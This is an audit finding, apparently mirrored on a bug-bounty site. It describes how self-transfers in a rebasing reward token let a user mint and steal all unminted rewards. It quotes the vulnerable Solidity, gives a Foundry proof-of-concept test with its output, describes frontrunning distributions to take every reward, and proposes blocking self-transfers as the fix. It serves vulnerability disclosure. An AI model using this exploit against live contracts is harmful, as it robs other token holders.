Anyone can steal all distributed rewards
A caching error in the rebase token contract allows a user to steal all unminted distributed rewards by transferring tokens to themselves while in rebase. The attacker can frontrun reward distribution transactions and atomically claim the rewards for themselves.
Submitted by evmboi32, also found by Soul22, stackachu, 0xadrii, KingNFT, Jorgect, Tendency, SpicyMeatball, c47ch3m4ll, 0xAlix2, 3docSec, kaden, and critical-or-high
Lines of code
Impact
Anyone can steal all distributed rewards, due to a caching error, when transferring credit tokens to themselves while in rebase.
Proof of Concept
Transferring credit while in rebase works fine when transferring to other users. But when a user tries to transfer to himself he can steal all unminted distributed rewards until that point.
Let’s imagine that some credit tokens were distributed but not yet minted. Alice enters rebase and calls transfer(alice, x):
RebasingState memory rebasingStateFrom = rebasingState[msg.sender];
RebasingState memory rebasingStateTo = rebasingState[to];
Both states for msg.sender and to are stored in memory. Keep in mind that msg.sender == to == alice. In the first if, the rewards for Alice are minted which is 0 since she just entered rebase:
if (rebasingStateFrom.isRebasing == 1) {
uint256 shares = uint256(rebasingStateFrom.nShares);
uint256 rebasedBalance = _shares2balance(
shares,
_rebasingSharePrice,
0,
fromBalanceBefore
);
uint256 mintAmount = rebasedBalance - fromBalanceBefore;
if (mintAmount != 0) {
ERC20._mint(msg.sender, mintAmount);
fromBalanceBefore += mintAmount;
decreaseUnmintedRebaseRewards(mintAmount);
emit RebaseReward(msg.sender, block.timestamp, mintAmount);
}
}
In the second if, we decrease the shares that Alice sent out, but the change is applied to a storage variable of rebasingState for msg.sender. This means that the cached rebasingStateFrom == rebasingStateTo still holds the old value of shares as the nShares.
if (rebasingStateFrom.isRebasing == 1) {
uint256 fromBalanceAfter = fromBalanceBefore - amount;
uint256 fromSharesAfter = _balance2shares(
fromBalanceAfter,
_rebasingSharePrice
);
uint256 sharesSpent = rebasingStateFrom.nShares - fromSharesAfter;
sharesDelta -= int256(sharesSpent);
rebasingState[msg.sender] = RebasingState({
isRebasing: 1,
nShares: uint248(fromSharesAfter)
});
}
This will cause that the toBalanceAfter in the final if to be calculated incorrectly because it calculates using the old shares, as we use the cached value of shares from the beginning of the function. This will keep the balance the same + the amount added on top.
uint256 toBalanceAfter = _shares2balance(
rebasingStateTo.nShares,
_rebasingSharePrice,
amount,
rawToBalanceAfter
);
Then, extra tokens are minted which should not be:
uint256 mintAmount = toBalanceAfter - rawToBalanceAfter;
if (mintAmount != 0) {
ERC20._mint(to, mintAmount);
decreaseUnmintedRebaseRewards(mintAmount);
emit RebaseReward(to, block.timestamp, mintAmount);
}
Alice can now exitRebase and keep the tokens for herself.
Let’s also look at a practical example with numbers
- Alice has
100 credittokens worthXshares. There are still some unminted rewards (unmintedRebaseRewards() >= 100e18). - She calls
transfer(alice, 100e18). - The first
ifdoes nothing and the tokens are transferred. At this point, both token balance and share balance for Alice remain the same as before transfer. - The second
ifadjusts the shares that Alice spent, but the value is stored in the storage variable. So she spentXshares since she transferred the whole balance the current state is as follows:
// storage
rebasingState[alice] = RebasingState({
isRebasing: 1,
nShares: 0
});
But the rebasingStateTo variable still holds the old number of shares as it was not updated (keep in mind that msg.sender == to == alice. toBalanceAfter is calculated as 200 tokens now. Since the rebasingStateTo.nShares is X, and on top of that, we add the amount and results into 200 tokens. The share price remains the same. The rawToBalanceAfter didn’t change during the transfer and still remains at a 100 tokens.
uint256 rawToBalanceAfter = ERC20.balanceOf(to);
uint256 toBalanceAfter = _shares2balance(
rebasingStateTo.nShares,
_rebasingSharePrice,
amount,
rawToBalanceAfter
);
Finally, the rewards for Alice are minted. This will result in mintAmount = 100e18.
uint256 mintAmount = toBalanceAfter - rawToBalanceAfter;
if (mintAmount != 0) {
ERC20._mint(to, mintAmount);
decreaseUnmintedRebaseRewards(mintAmount);
emit RebaseReward(to, block.timestamp, mintAmount);
}
Alice now stole tokens from other rebasing users. The max number of tokens she can steal is unmintedRebaseRewards() for any given self-transfer. So if unmintedRebaseRewards() == 10e18 she needs to call transfer(alice, 10e18) so she can steal the unclaimed rewards. She could monitor the mempool and frontrun each transaction that would change the unmintedRebaseRewards variable and essentially rob users of all rewards. Each call is done atomically so there is 0 risk for Alice.
Coded POC
Add this in the ERC20RebaseDistributor.t.sol file and add import import "@forge-std/console.sol";.
Run with forge test --match-path ./test/unit/tokens/ERC20RebaseDistributor.t.sol -vvv:
function testSelfTransfer() public {
token.mint(address(this), 100e18);
// Mint some tokens to bob and alice
token.mint(alice, 10e18);
token.mint(bobby, 10e18);
// Bob enters the rebase since he wants to earn some profit
vm.prank(bobby);
token.enterRebase();
// Tokens are distributed among all rebase users
token.distribute(10e18);
// Nobody claims the rebase rewards for 10 days - just for an example
// Alice could frontrun every call that changes the unmintedRebaseRewards atomically
// and claim all the rewards for herself
vm.warp(block.timestamp + 10 days);
// --------------------- ATOMIC TX ---------------------
vm.startPrank(alice);
token.enterRebase();
uint256 token_balance_alice_before = token.balanceOf(alice);
// Here the max she could transfer and steal is the unmintedRebaseRewards() amount
// but we are using 3e18 just for an example as 3e18 < unmintedRebaseRewards()
// since there is no public getter for unmintedRebaseRewards
token.transfer(alice, 3e18);
token.exitRebase();
vm.stopPrank();
uint256 token_balance_alice = token.balanceOf(alice);
// --------------------- END ATOMIC TX ---------------------
console.log("Token balance alice before : ", token_balance_alice_before);
console.log("Token balance alice after : ", token_balance_alice);
console.log("--------------------------------------------------");
console.log("Alice profit credit : ", token_balance_alice - token_balance_alice_before);
}
[PASS] testSelfTransfer() (gas: 230035)
Logs:
Token balance alice before : 10000000000000000000
Token balance alice after : 12999999999999999999
--------------------------------------------------
Alice profit credit : 2999999999999999999
Recommended Mitigation Steps
Prevent self-transfer, as it makes no sense and also causes harm.
Assessed type
Token-Transfer
eswak (Ethereum Credit Guild) confirmed and commented:
Thanks for the very high quality report. Definitely one of the most critical issues that I’ve been made aware of on this audit.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The function caches the sender's and recipient's rebasing states in memory before updating storage, so when sender and recipient are the same, the cached recipient state still holds the old share count, leading to incorrect reward minting.
Impact
An attacker could steal all unminted distributed rewards, potentially frontrunning every transaction that changes the unminted rewards, with zero risk as each call is atomic.
What the attacker needed
Attacker has some credit tokens; attacker enters rebase; unminted rewards exist
The fix
Prevent self-transfers, as they serve no purpose and cause harm.
How it was found
- Alice enters rebase.
- Alice calls transfer to herself with an amount up to the unminted rewards.
- The contract mints extra rewards to Alice due to stale cached shares.
- Alice exits rebase and keeps the stolen tokens.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This is a bug in a special token that shares rewards among holders. When you send tokens to yourself, the code mistakenly thinks you sent them to someone else and gives you extra rewards that belong to everyone. An attacker can repeatedly do this to take all the rewards.
What is Smart contracts?
Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.